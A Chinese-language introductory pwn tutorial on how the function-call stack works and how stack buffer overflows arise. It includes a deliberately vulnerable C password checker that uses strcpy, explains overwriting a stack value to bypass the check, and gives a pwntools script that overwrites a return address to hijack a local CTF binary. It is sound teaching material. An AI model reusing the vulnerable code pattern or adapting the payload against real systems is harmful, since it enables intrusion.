从这一篇文章开始我们就正式进入pwn的实战部分,本篇文章带领大家了解pwn中最简单的一类型漏洞:栈溢出原理及其利用。
在了解栈溢出漏洞原理之前,我们必须得了解栈的工作原理。
从数据结构来说,栈是一种先进后出的一种数据结构,在系统中,也是如此,栈的基本操作有push和pop。
我们来思考这样一个问题:
我们写了一个C语言程序,在main函数中又调用了其他函数,并且这个函数有参数,那么系统是如何执行的呢?
实际上这里main函数和main函数中调用的函数不在一个位置上,那么在main中调用其他函数,就需要cpu跑到对应的函数上去执行。我们知道在汇编中,调用函数的指令为call,但是调用完函数之后,cpu还要返回到main函数中来,继续执行后续指令,那么操作系统是如何完成这个个过程的呢?
我们来给出一个例子,观察一下:
#include <stdio.h>
int add(int a, int b) {
return a + b;
}
int main() {
printf("Please input two number:");
int a, b;
scanf("%d%d", &a, &b);
int sum = add(a, b);
printf("sum = %d", sum);
return 0;
}
int main() {
00AC1720 push ebp
00AC1721 mov ebp,esp
00AC1723 sub esp,4Ch
00AC1726 push ebx
00AC1727 push esi
00AC1728 push edi
00AC1729 mov ecx,offset _8849FBAC
00AC172E call @__CheckForDebuggerJustMyCode@4 (0AC11AEh)
printf("Please input two number:");
00AC1733 push offset string "Please input two number:" (0AC5C58h)
00AC1738 call _printf (0AC103Ch)
00AC173D add esp,4
int a, b;
scanf("%d%d", &a, &b);
00AC1740 lea eax,[b]
00AC1743 push eax
00AC1744 lea ecx,[a]
00AC1747 push ecx
00AC1748 push offset string "%d%d" (0AC5B30h)
00AC174D call _scanf (0AC107Dh)
00AC1752 add esp,0Ch
int sum = add(a, b);
00AC1755 mov eax,dword ptr [b]
00AC1758 push eax
00AC1759 mov ecx,dword ptr [a]
00AC175C push ecx
00AC175D call add (0AC12CBh)
00AC1762 add esp,8
00AC1765 mov dword ptr [sum],eax
printf("sum = %d", sum);
00AC1768 mov eax,dword ptr [sum]
00AC176B push eax
00AC176C push offset string "sum = %d" (0AC5B44h)
00AC1771 call _printf (0AC103Ch)
00AC1776 add esp,8
return 0;
00AC1779 xor eax,eax
}
00AC177B pop edi
00AC177C pop esi
00AC177D pop ebx
00AC177E mov esp,ebp
00AC1780 pop ebp
}
00AC1781 ret
我们来通过汇编看看函数调用过程:
我们知道了函数调用栈的原理,我们来看看这种原理下的栈溢出:
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#define PASSWORD "12345678"
int CheckPassWord(char* szBuffer);
int main() {
printf("请输入密码:");
char szPassWord[512] = { 0 };
scanf("%s", szPassWord);
if (CheckPassWord(szPassWord)) {
printf("密码输入错误!\r\n");
}
else {
printf("Successful!\r\n");
}
return 0;
}
int CheckPassWord(char* szBuffer) {
int result = 0;
char MyBuffer[8] = { 0 };
result = strcmp(szBuffer, PASSWORD);
strcpy(MyBuffer, szBuffer);
return result;
}
在这里我们观察函数CheckPassWord,这里的strcpy明显的存在栈溢出,我们来调试看一下:
我们来看看这个函数的栈:我们可以看到,ebp的位置为返回地址,ebp-4为检验密码的返回值,如果是0,表示密码正确,如果非0,表示密码错误,而ebp-C的位置,是局部变量的位置,这里就是将输入的字符串拷贝到ebp-C的位置,但是这里有一个很大的问题,由于这里没有对输入字符串的长度做限制,试想一下,如果我们输入的字符串很长,这里调用了strcpy函数的时候,是不是直接能够将ebp-4和返回地址淹没呢?淹没了ebp-4的位置,我们可以修改密码对比结果,但是淹没了返回地址,是不是我们想让程序从哪执行,就从哪执行?这样就做到了流程劫持。
我们这里实验将ebp-4的位置进行淹没,我们的思路是不管输入什么,都要验证通过,我们知道C语言的字符串都是以’\0’结尾的,那么我们就用这个字符淹没ebp-4的位置,这样不管我们输入什么,都可以验证成功,为此,我们输入八个字符长度的字符串,字符串末尾的’\0’自然会将ebp-4位置的值给淹没掉:
我们可以很明显地看到,栈溢出成功。
我们来通过一个pwn实例来实验淹没返回值,并且劫持流程:
首先来到main函数观察,发现没有什么危险函数,然后进而观察vuln函数:
很明显,这里存在read函数,漏洞应该就出现在这里了,我们来看看:
这里是栈的情况,buf后面八个字节就是返回地址,现在我们要做的是淹没这个返回值,那返回到哪里去呢?
from pwn import *
p = process('./pwn2')
payload = b'a'*160 + p64(0xd)+p64(0x400766)
p.send(payload)
p.interactive()
很明显,漏洞利用成功。